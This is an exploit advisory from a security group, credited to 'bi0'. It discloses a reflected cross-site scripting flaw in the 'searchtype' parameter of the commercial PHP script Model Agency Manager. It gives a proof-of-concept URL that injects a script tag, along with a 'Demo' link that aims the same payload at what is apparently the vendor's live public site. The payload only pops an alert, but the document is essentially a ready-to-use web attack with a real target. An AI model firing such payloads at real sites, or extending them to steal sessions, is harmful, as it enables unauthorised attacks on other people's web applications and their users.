Model Agency Manager Cross Site Scripting

`  
  
______ __ ______   
/\ == \ /\ \ /\ __ \   
\ \ __< \ \ \ \ \ \/\ \   
\ \_____\ \ \_\ \ \_____\   
\/_____/ \/_/ \/_____/   
  
01000010 01101001 01001111   
  
[#]----------------------------------------------------------------[#]  
#   
# [+] Model Agency Manager [XSS]  
#  
# // Author Info   
# [x] Author: bi0  
# [x] Contact: [email protected]   
# [x] Homepage : www.ssteam.ws  
# [x] Thanks: packetdeath and ssteam.ws  
#  
# // Software Info   
# [x] Name : Model Agency Manager   
# [x] Vendor : http://www.phpmodelagencyscript.com/  
# [x] Price : 149 USD   
#  
[#]-------------------------------------------------------------------------------------------[#]  
#  
# [x] Exploit :   
#   
# http://localhost/search_process.php?searchtype=[XSS]  
#  
# [x] Poc :   
#   
# http://localhost/search_process.php?searchtype="/><script>alert('XSS')</script>  
#   
#  
[#]------------------------------------------------------------------------------------------[#]  
#  
# Demo :   
#   
# [+] http://model-agency-manager-pro.phpmodelagencyscript.com/search_process.php?searchtype="/><script>alert('XSS')</script>  
#   
#   
[#]-------------------------------------------------------------------------------------------[#]  
  
#EOF`